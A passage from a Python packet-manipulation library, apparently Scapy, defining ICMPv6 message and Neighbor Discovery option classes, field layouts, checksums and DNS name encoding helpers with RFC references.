"ICMPv6ND_RS", 134: "ICMPv6ND_RA", 135: "ICMPv6ND_NS", 136: "ICMPv6ND_NA", 137: "ICMPv6ND_Redirect", # 138: Do Me - RFC 2894 - Seems painful 139: "ICMPv6NIQuery", 140: "ICMPv6NIReply", 141: "ICMPv6ND_INDSol", 142: "ICMPv6ND_INDAdv", 143: "ICMPv6MLReport2", 144: "ICMPv6HAADRequest", 145: "ICMPv6HAADReply", 146: "ICMPv6MPSol", 147: "ICMPv6MPAdv", # 148: Do Me - SEND related - RFC 3971 # 149: Do Me - SEND related - RFC 3971 151: "ICMPv6MRD_Advertisement", 152: "ICMPv6MRD_Solicitation", 153: "ICMPv6MRD_Termination", # 154: Do Me - FMIPv6 Messages - RFC 5568 155: "ICMPv6RPL", # RFC 6550 } icmp6typesminhdrlen = {1: 8, 2: 8, 3: 8, 4: 8, 128: 8, 129: 8, 130: 24, 131: 24, 132: 24, 133: 8, 134: 16, 135: 24, 136: 24, 137: 40, # 139: # 140 141: 8, 142: 8, 143: 8, 144: 8, 145: 8, 146: 8, 147: 8, 151: 8, 152: 4, 153: 4, 155: 4 } icmp6types = {1: "Destination unreachable", 2: "Packet too big", 3: "Time exceeded", 4: "Parameter problem", 100: "Private Experimentation", 101: "Private Experimentation", 128: "Echo Request", 129: "Echo Reply", 130: "MLD Query", 131: "MLD Report", 132: "MLD Done", 133: "Router Solicitation", 134: "Router Advertisement", 135: "Neighbor Solicitation", 136: "Neighbor Advertisement", 137: "Redirect Message", 138: "Router Renumbering", 139: "ICMP Node Information Query", 140: "ICMP Node Information Response", 141: "Inverse Neighbor Discovery Solicitation Message", 142: "Inverse Neighbor Discovery Advertisement Message", 143: "MLD Report Version 2", 144: "Home Agent Address Discovery Request Message", 145: "Home Agent Address Discovery Reply Message", 146: "Mobile Prefix Solicitation", 147: "Mobile Prefix Advertisement", 148: "Certification Path Solicitation", 149: "Certification Path Advertisement", 151: "Multicast Router Advertisement", 152: "Multicast Router Solicitation", 153: "Multicast Router Termination", 155: "RPL Control Message", 200: "Private Experimentation", 201: "Private Experimentation"} class _ICMPv6(Packet): name = "ICMPv6 dummy class" overload_fields = {IPv6: {"nh": 58}} def post_build(self, p, pay): p += pay if self.cksum is None: chksum = in6_chksum(58, self.underlayer, p) p = p[:2] + struct.pack("!H", chksum) + p[4:] return p def hashret(self): return self.payload.hashret() def answers(self, other): # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... if (isinstance(self.underlayer, IPerror6) or isinstance(self.underlayer, _IPv6ExtHdr) and isinstance(other, _ICMPv6)): if not ((self.type == other.type) and (self.code == other.code)): return 0 return 1 return 0 class _ICMPv6Error(_ICMPv6): name = "ICMPv6 errors dummy class" def guess_payload_class(self, p): return IPerror6 class ICMPv6Unknown(_ICMPv6): name = "Scapy6 ICMPv6 fallback class" fields_desc = [ByteEnumField("type", 1, icmp6types), ByteField("code", 0), XShortField("cksum", None), StrField("msgbody", "")] # RFC 2460 # class ICMPv6DestUnreach(_ICMPv6Error): name = "ICMPv6 Destination Unreachable" fields_desc = [ByteEnumField("type", 1, icmp6types), ByteEnumField("code", 0, {0: "No route to destination", 1: "Communication with destination administratively prohibited", # noqa: E501 2: "Beyond scope of source address", # noqa: E501 3: "Address unreachable", 4: "Port unreachable"}), XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused", 0)] class ICMPv6PacketTooBig(_ICMPv6Error): name = "ICMPv6 Packet Too Big" fields_desc = [ByteEnumField("type", 2, icmp6types), ByteField("code", 0), XShortField("cksum", None), IntField("mtu", 1280)] class ICMPv6TimeExceeded(_ICMPv6Error): name = "ICMPv6 Time Exceeded" fields_desc = [ByteEnumField("type", 3, icmp6types), ByteEnumField("code", 0, {0: "hop limit exceeded in transit", # noqa: E501 1: "fragment reassembly time exceeded"}), # noqa: E501 XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused", 0)] # The default pointer value is set to the next header field of # the encapsulated IPv6 packet class ICMPv6ParamProblem(_ICMPv6Error): name = "ICMPv6 Parameter Problem" fields_desc = [ByteEnumField("type", 4, icmp6types), ByteEnumField( "code", 0, {0: "erroneous header field encountered", 1: "unrecognized Next Header type encountered", 2: "unrecognized IPv6 option encountered", 3: "first fragment has incomplete header chain"}), XShortField("cksum", None), IntField("ptr", 6)] class ICMPv6EchoRequest(_ICMPv6): name = "ICMPv6 Echo Request" fields_desc = [ByteEnumField("type", 128, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", 0), XShortField("seq", 0), StrField("data", "")] def mysummary(self): return self.sprintf("%name% (id: %id% seq: %seq%)") def hashret(self): return struct.pack("HH", self.id, self.seq) + self.payload.hashret() class ICMPv6EchoReply(ICMPv6EchoRequest): name = "ICMPv6 Echo Reply" type = 129 def answers(self, other): # We could match data content between request and reply. return (isinstance(other, ICMPv6EchoRequest) and self.id == other.id and self.seq == other.seq and self.data == other.data) # ICMPv6 Multicast Listener Discovery (RFC2710) # # tous les messages MLD sont emis avec une adresse source lien-locale # -> Y veiller dans le post_build si aucune n'est specifiee # La valeur de Hop-Limit doit etre de 1 # "and an IPv6 Router Alert option in a Hop-by-Hop Options # header. (The router alert option is necessary to cause routers to # examine MLD messages sent to multicast addresses in which the router # itself has no interest" class _ICMPv6ML(_ICMPv6): fields_desc = [ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 0), ShortField("reserved", 0), IP6Field("mladdr", "::")] # general queries are sent to the link-scope all-nodes multicast # address ff02::1, with a multicast address field of 0 and a MRD of # [Query Response Interval] # Default value for mladdr is set to 0 for a General Query, and # overloaded by the user for a Multicast Address specific query # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Query" type = 130 mrd = 10000 # 10s for mrd mladdr = "::" overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Report" type = 131 overload_fields = {IPv6: {"hlim": 1, "nh": 58}} def answers(self, query): """Check the query type""" return ICMPv6MLQuery in query # When a node ceases to listen to a multicast address on an interface, # it SHOULD send a single Done message to the link-scope all-routers # multicast address (FF02::2), carrying in its multicast address field # the address to which it is ceasing to listen # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Done" type = 132 overload_fields = {IPv6: {"dst": "ff02::2", "hlim": 1, "nh": 58}} # Multicast Listener Discovery Version 2 (MLDv2) (RFC3810) # class ICMPv6MLQuery2(_ICMPv6): # RFC 3810 name = "MLDv2 - Multicast Listener Query" fields_desc = [ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 10000), ShortField("reserved", 0), IP6Field("mladdr", "::"), BitField("Resv", 0, 4), BitField("S", 0, 1), BitField("QRV", 0, 3), ByteField("QQIC", 0), ShortField("sources_number", None), IP6ListField("sources", [], count_from=lambda pkt: pkt.sources_number)] # RFC8810 - 4. Message Formats overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} def post_build(self, packet, payload): """Compute the 'sources_number' field when needed""" if self.sources_number is None: srcnum = struct.pack("!H", len(self.sources)) packet = packet[:26] + srcnum + packet[28:] return _ICMPv6.post_build(self, packet, payload) class ICMPv6MLDMultAddrRec(Packet): name = "ICMPv6 MLDv2 - Multicast Address Record" fields_desc = [ByteField("rtype", 4), FieldLenField("auxdata_len", None, length_of="auxdata", fmt="B"), FieldLenField("sources_number", None, length_of="sources", adjust=lambda p, num: num // 16), IP6Field("dst", "::"), IP6ListField("sources", [], length_from=lambda p: 16 * p.sources_number), StrLenField("auxdata", "", length_from=lambda p: p.auxdata_len)] def default_payload_class(self, packet): """Multicast Address Record followed by another one""" return self.__class__ class ICMPv6MLReport2(_ICMPv6): # RFC 3810 name = "MLDv2 - Multicast Listener Report" fields_desc = [ByteEnumField("type", 143, icmp6types), ByteField("res", 0), XShortField("cksum", None), ShortField("reserved", 0), ShortField("records_number", None), PacketListField("records", [], ICMPv6MLDMultAddrRec, count_from=lambda p: p.records_number)] # RFC8810 - 4. Message Formats overload_fields = {IPv6: {"dst": "ff02::16", "hlim": 1, "nh": 58}} def post_build(self, packet, payload): """Compute the 'records_number' field when needed""" if self.records_number is None: recnum = struct.pack("!H", len(self.records)) packet = packet[:6] + recnum + packet[8:] return _ICMPv6.post_build(self, packet, payload) def answers(self, query): """Check the query type""" return isinstance(query, ICMPv6MLQuery2) # ICMPv6 MRD - Multicast Router Discovery (RFC 4286) # # TODO: # - 04/09/06 troglocan : find a way to automatically add a router alert # option for all MRD packets. This could be done in a specific # way when IPv6 is the under layer with some specific keyword # like 'exthdr'. This would allow to keep compatibility with # providing IPv6 fields to be overloaded in fields_desc. # # At the moment, if user inserts an IPv6 Router alert option # none of the IPv6 default values of IPv6 layer will be set. class ICMPv6MRD_Advertisement(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Advertisement" fields_desc = [ByteEnumField("type", 151, icmp6types), ByteField("advinter", 20), XShortField("cksum", None), ShortField("queryint", 0), ShortField("robustness", 0)] overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:8], s[8:] class ICMPv6MRD_Solicitation(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Solicitation" fields_desc = [ByteEnumField("type", 152, icmp6types), ByteField("res", 0), XShortField("cksum", None)] overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] class ICMPv6MRD_Termination(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Termination" fields_desc = [ByteEnumField("type", 153, icmp6types), ByteField("res", 0), XShortField("cksum", None)] overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::6A"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] # ICMPv6 Neighbor Discovery (RFC 2461) # icmp6ndopts = {1: "Source Link-Layer Address", 2: "Target Link-Layer Address", 3: "Prefix Information", 4: "Redirected Header", 5: "MTU", 6: "NBMA Shortcut Limit Option", # RFC2491 7: "Advertisement Interval Option", 8: "Home Agent Information Option", 9: "Source Address List", 10: "Target Address List", 11: "CGA Option", # RFC 3971 12: "RSA Signature Option", # RFC 3971 13: "Timestamp Option", # RFC 3971 14: "Nonce option", # RFC 3971 15: "Trust Anchor Option", # RFC 3971 16: "Certificate Option", # RFC 3971 17: "IP Address Option", # RFC 4068 18: "New Router Prefix Information Option", # RFC 4068 19: "Link-layer Address Option", # RFC 4068 20: "Neighbor Advertisement Acknowledgement Option", 21: "CARD Request Option", # RFC 4065/4066/4067 22: "CARD Reply Option", # RFC 4065/4066/4067 23: "MAP Option", # RFC 4140 24: "Route Information Option", # RFC 4191 25: "Recursive DNS Server Option", 26: "IPv6 Router Advertisement Flags Option" } icmp6ndoptscls = {1: "ICMPv6NDOptSrcLLAddr", 2: "ICMPv6NDOptDstLLAddr", 3: "ICMPv6NDOptPrefixInfo", 4: "ICMPv6NDOptRedirectedHdr", 5: "ICMPv6NDOptMTU", 6: "ICMPv6NDOptShortcutLimit", 7: "ICMPv6NDOptAdvInterval", 8: "ICMPv6NDOptHAInfo", 9: "ICMPv6NDOptSrcAddrList", 10: "ICMPv6NDOptTgtAddrList", # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py # 15: Do Me, # 16: Do Me, 17: "ICMPv6NDOptIPAddr", 18: "ICMPv6NDOptNewRtrPrefix", 19: "ICMPv6NDOptLLA", # 18: Do Me, # 19: Do Me, # 20: Do Me, # 21: Do Me, # 22: Do Me, 23: "ICMPv6NDOptMAP", 24: "ICMPv6NDOptRouteInfo", 25: "ICMPv6NDOptRDNSS", 26: "ICMPv6NDOptEFA", 31: "ICMPv6NDOptDNSSL" } icmp6ndraprefs = {0: "Medium (default)", 1: "High", 2: "Reserved", 3: "Low"} # RFC 4191 class _ICMPv6NDGuessPayload: name = "Dummy ND class that implements guess_payload_class()" def guess_payload_class(self, p): if len(p) > 1: return icmp6ndoptscls.get(orb(p[0]), Raw) # s/Raw/ICMPv6NDOptUnknown/g ? # noqa: E501 # Beginning of ICMPv6 Neighbor Discovery Options. class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" fields_desc = [ByteField("type", None), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda pkt, x: x + 2), StrLenField("data", "", length_from=lambda pkt: pkt.len - 2)] # NOTE: len includes type and len field. Expressed in unit of 8 bytes # TODO: Revoir le coup du ETHER_ANY class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" fields_desc = [ByteField("type", 1), ByteField("len", 1), MACField("lladdr", ETHER_ANY)] def mysummary(self): return self.sprintf("%name% %lladdr%") class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" type = 2 class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Prefix Information" fields_desc = [ByteField("type", 3), ByteField("len", 4), ByteField("prefixlen", 64), BitField("L", 1, 1), BitField("A", 1, 1), BitField("R", 0, 1), BitField("res1", 0, 5), XIntField("validlifetime", 0xffffffff), XIntField("preferredlifetime", 0xffffffff), XIntField("res2", 0x00000000), IP6Field("prefix", "::")] def mysummary(self): return self.sprintf("%name% %prefix%/%prefixlen% " "On-link %L% Autonomous Address %A% " "Router Address %R%") # TODO: We should also limit the size of included packet to something # like (initiallen - 40 - 2) class TruncPktLenField(PacketLenField): __slots__ = ["cur_shift"] def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): # noqa: E501 PacketLenField.__init__(self, name, default, cls, length_from=length_from) # noqa: E501 self.cur_shift = cur_shift def getfield(self, pkt, s): tmp_len = self.length_from(pkt) i = self.m2i(pkt, s[:tmp_len]) return s[tmp_len:], i def m2i(self, pkt, m): s = None try: # It can happen we have sth shorter than 40 bytes s = self.cls(m) except Exception: return conf.raw_layer(m) return s def i2m(self, pkt, x): s = raw(x) tmp_len = len(s) r = (tmp_len + self.cur_shift) % 8 tmp_len = tmp_len - r return s[:tmp_len] def i2len(self, pkt, i): return len(self.i2m(pkt, i)) # Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Redirected Header" fields_desc = [ByteField("type", 4), FieldLenField("len", None, length_of="pkt", fmt="B", adjust=lambda pkt, x:(x + 8) // 8), StrFixedLenField("res", b"\x00" * 6, 6), TruncPktLenField("pkt", b"", IPv6, 8, length_from=lambda pkt: 8 * pkt.len - 8)] # See which value should be used for default MTU instead of 1280 class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - MTU" fields_desc = [ByteField("type", 5), ByteField("len", 1), XShortField("res", 0), IntField("mtu", 1280)] def mysummary(self): return self.sprintf("%name% %mtu%") class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" fields_desc = [ByteField("type", 6), ByteField("len", 1), ByteField("shortcutlim", 40), # XXX ByteField("res1", 0), IntField("res2", 0)] class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Interval Advertisement" fields_desc = [ByteField("type", 7), ByteField("len", 1), ShortField("res", 0), IntField("advint", 0)] def mysummary(self): return self.sprintf("%name% %advint% milliseconds") class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Home Agent Information" fields_desc = [ByteField("type", 8), ByteField("len", 1), ShortField("res", 0), ShortField("pref", 0), ShortField("lifetime", 1)] def mysummary(self): return self.sprintf("%name% %pref% %lifetime% seconds") # type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support # type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" fields_desc = [ByteField("type", 17), ByteField("len", 3), ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 2: "New Care-Of Address", 3: "NAR's IP address"}), ByteField("plen", 64), IntField("res", 0), IP6Field("addr", "::")] class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" # noqa: E501 fields_desc = [ByteField("type", 18), ByteField("len", 3), ByteField("optcode", 0), ByteField("plen", 64), IntField("res", 0), IP6Field("prefix", "::")] _rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1: "LLA for the new AP", 2: "LLA of the MN", 3: "LLA of the NAR", 4: "LLA of the src of TrSolPr or PrRtAdv msg", 5: "AP identified by LLA belongs to current iface of router", # noqa: E501 6: "No preifx info available for AP identified by the LLA", # noqa: E501 7: "No fast handovers support for AP identified by the LLA"} # noqa: E501 class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" # noqa: E501 fields_desc = [ByteField("type", 19), ByteField("len", 1), ByteEnumField("optcode", 0, _rfc4068_lla_optcode), MACField("lla", ETHER_ANY)] # We only support ethernet class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 name = "ICMPv6 Neighbor Discovery - MAP Option" fields_desc = [ByteField("type", 23), ByteField("len", 3), BitField("dist", 1, 4), BitField("pref", 15, 4), # highest availability BitField("R", 1, 1), BitField("res", 0, 7), IntField("validlifetime", 0xffffffff), IP6Field("addr", "::")] class _IP6PrefixField(IP6Field): __slots__ = ["length_from"] def __init__(self, name, default): IP6Field.__init__(self, name, default) self.length_from = lambda pkt: 8 * (pkt.len - 1) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) p = s[:tmp_len] if tmp_len < 16: p += b'\x00' * (16 - tmp_len) return s[tmp_len:], self.m2i(pkt, p) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): tmp_len = pkt.len if x is None: x = "::" if tmp_len is None: tmp_len = 1 x = inet_pton(socket.AF_INET6, x) if tmp_len is None: return x if tmp_len in [0, 1]: return b"" if tmp_len in [2, 3]: return x[:8 * (tmp_len - 1)] return x + b'\x00' * 8 * (tmp_len - 3) class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" fields_desc = [ByteField("type", 24), FieldLenField("len", None, length_of="prefix", fmt="B", adjust=lambda pkt, x: x // 8 + 1), ByteField("plen", None), BitField("res1", 0, 3), BitEnumField("prf", 0, 2, icmp6ndraprefs), BitField("res2", 0, 3), IntField("rtlifetime", 0xffffffff), _IP6PrefixField("prefix", None)] def mysummary(self): return self.sprintf("%name% %prefix%/%plen% Preference %prf%") class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" fields_desc = [ByteField("type", 25), FieldLenField("len", None, count_of="dns", fmt="B", adjust=lambda pkt, x: 2 * x + 1), ShortField("res", None), IntField("lifetime", 0xffffffff), IP6ListField("dns", [], length_from=lambda pkt: 8 * (pkt.len - 1))] def mysummary(self): return self.sprintf("%name% " + ", ".join(self.dns)) class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" fields_desc = [ByteField("type", 26), ByteField("len", 1), BitField("res", 0, 48)] # As required in Sect 8. of RFC 3315, Domain Names must be encoded as # described in section 3.1 of RFC 1035 # XXX Label should be at most 63 octets in length : we do not enforce it # Total length of domain should be 255 : we do not enforce it either class DomainNameListField(StrLenField): __slots__ = ["padded"] islist = 1 padded_unit = 8 def __init__(self, name, default, fld=None, length_from=None, padded=False): # noqa: E501 self.padded = padded StrLenField.__init__(self, name, default, fld, length_from) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): x = plain_str(x) # Decode bytes to string res = [] while x: # Get a name until \x00 is reached cur = [] while x and ord(x[0]) != 0: tmp_len = ord(x[0]) cur.append(x[1:tmp_len + 1]) x = x[tmp_len + 1:] if self.padded: # Discard following \x00 in padded mode if len(cur): res.append(".".join(cur) + ".") else: # Store the current name res.append(".".join(cur) + ".") if x and ord(x[0]) == 0: x = x[1:] return res def i2m(self, pkt, x): def conditionalTrailingDot(z): if z and orb(z[-1]) == 0: return z return z + b'\x00' # Build the encode names tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes # noqa: E501 ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp) # In padded mode, add some \x00 bytes if self.padded and not len(ret_string) % self.padded_unit == 0: ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) # noqa: E501 return ret_string class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" fields_desc = [ByteField("type", 31), FieldLenField("len", None, length_of="searchlist", fmt="B", adjust=lambda pkt, x: 1 + x // 8), ShortField("res", None), IntField("lifetime", 0xffffffff), DomainNameListField("searchlist", [], length_from=lambda pkt: 8 * pkt.len - 8, padded=True) ] def mysummary(self): return self.sprintf("%name% " + ", ".join(self.searchlist)) # End of ICMPv6 Neighbor Discovery Options. class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Solicitation" fields_desc = [ByteEnumField("type", 133, icmp6types), ByteField("code", 0), XShortField("cksum", None), IntField("res", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::2", "hlim": 255}} class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Advertisement" fields_desc = [ByteEnumField("type", 134, icmp6types), ByteField("code", 0), XShortField("cksum", None), ByteField("chlim", 0), BitField("M", 0, 1), BitField("O", 0, 1), BitField("H", 0, 1), BitEnumField("prf", 1, 2, icmp6ndraprefs), # RFC 4191 BitField("P", 0, 1), BitField("res", 0, 2), ShortField("routerlifetime", 1800), IntField("reachabletime", 0), IntField("retranstimer", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} def answers(self, other): return isinstance(other, ICMPv6ND_RS) def mysummary(self): return self.sprintf("%name% Lifetime %routerlifetime% " "Hop Limit %chlim% Preference %prf% " "Managed %M% Other %O% Home %H%") class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" fields_desc = [ByteEnumField("type", 135, icmp6types), ByteField("code", 0), XShortField("cksum", None), IntField("res", 0), IP6Field("tgt", "::")] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return bytes_encode(self.tgt) + self.payload.hashret() class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" fields_desc = [ByteEnumField("type", 136, icmp6types), ByteField("code", 0), XShortField("cksum", None), BitField("R", 1, 1), BitField("S", 0, 1), BitField("O", 1, 1), XBitField("res", 0, 29), IP6Field("tgt", "::")] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return bytes_encode(self.tgt) + self.payload.hashret() def answers(self, other): return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt # associated possible options : target link-layer option, Redirected header class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Redirect" fields_desc = [ByteEnumField("type", 137, icmp6types), ByteField("code", 0), XShortField("cksum", None), XIntField("res", 0), IP6Field("tgt", "::"), IP6Field("dst", "::")] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} # ICMPv6 Inverse Neighbor Discovery (RFC 3122) # class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" fields_desc = [ByteField("type", 9), FieldLenField("len", None, count_of="addrlist", fmt="B", adjust=lambda pkt, x: 2 * x + 1), StrFixedLenField("res", b"\x00" * 6, 6), IP6ListField("addrlist", [], length_from=lambda pkt: 8 * (pkt.len - 1))] class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" type = 10 # RFC3122 # Options requises : source lladdr et target lladdr # Autres options valides : source address list, MTU # - Comme precise dans le document, il serait bien de prendre l'adresse L2 # demandee dans l'option requise target lladdr et l'utiliser au niveau # de l'adresse destination ethernet si aucune adresse n'est precisee # - ca semble pas forcement pratique si l'utilisateur doit preciser toutes # les options. # Ether() must use the target lladdr as destination class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Solicitation" fields_desc = [ByteEnumField("type", 141, icmp6types), ByteField("code", 0), XShortField("cksum", None), XIntField("reserved", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} # Options requises : target lladdr, target address list # Autres options valides : MTU class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Advertisement" fields_desc = [ByteEnumField("type", 142, icmp6types), ByteField("code", 0), XShortField("cksum", None), XIntField("reserved", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} ############################################################################### # ICMPv6 Node Information Queries (RFC 4620) ############################################################################### # [ ] Add automatic destination address computation using computeNIGroupAddr # in IPv6 class (Scapy6 modification when integrated) if : # - it is not provided # - upper layer is ICMPv6NIQueryName() with a valid value # [ ] Try to be liberal in what we accept as internal values for _explicit_ # DNS elements provided by users. Any string should be considered # valid and kept like it has been provided. At the moment, i2repr() will # crash on many inputs # [ ] Do the documentation # [ ] Add regression tests # [ ] Perform test against real machines (NOOP reply is proof of implementation). # noqa: E501 # [ ] Check if there are differences between different stacks. Among *BSD, # with others. # [ ] Deal with flags in a consistent way. # [ ] Implement compression in names2dnsrepr() and decompresiion in # dnsrepr2names(). Should be deactivable. icmp6_niqtypes = {0: "NOOP", 2: "Node Name", 3: "IPv6 Address", 4: "IPv4 Address"} class _ICMPv6NIHashret: def hashret(self): return bytes_encode(self.nonce) class _ICMPv6NIAnswers: def answers(self, other): return self.nonce == other.nonce # Buggy; always returns the same value during a session class NonceField(StrFixedLenField): def __init__(self, name, default=None): StrFixedLenField.__init__(self, name, default, 8) if default is None: self.default = self.randval() @conf.commands.register def computeNIGroupAddr(name): """Compute the NI group Address. Can take a FQDN as input parameter""" name = name.lower().split(".")[0] record = chr(len(name)) + name h = md5(record.encode("utf8")) h = h.digest() addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) return addr # Here is the deal. First, that protocol is a piece of shit. Then, we # provide 4 classes for the different kinds of Requests (one for every # valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same # data field class that is made to be smart by guessing the specific # type of value provided : # # - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, # if not overridden by user # - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, # if not overridden # - Name in the other cases: code is set to 0, if not overridden by user # # Internal storage, is not only the value, but the a pair providing # the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) # # Note : I merged getfield() and m2i(). m2i() should not be called # directly anyway. Same remark for addfield() and i2m() # # -- arno # "The type of information present in the Data field of a query is # declared by the ICMP Code, whereas the type of information in a # Reply is determined by the Qtype" def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!! """ if isinstance(x, bytes): if x and x[-1:] == b'\x00': # stupid heuristic return x x = [x] res = [] for n in x: termin = b"\x00" if n.count(b'.') == 0: # single-component gets one more termin += b'\x00' n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin res.append(n) return b"".join(res) def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] cur = b"" while x: tmp_len = orb(x[0]) x = x[1:] if not tmp_len: if cur and cur[-1:] == b'.': cur = cur[:-1] res.append(cur) cur = b"" if x and orb(x[0]) == 0: # 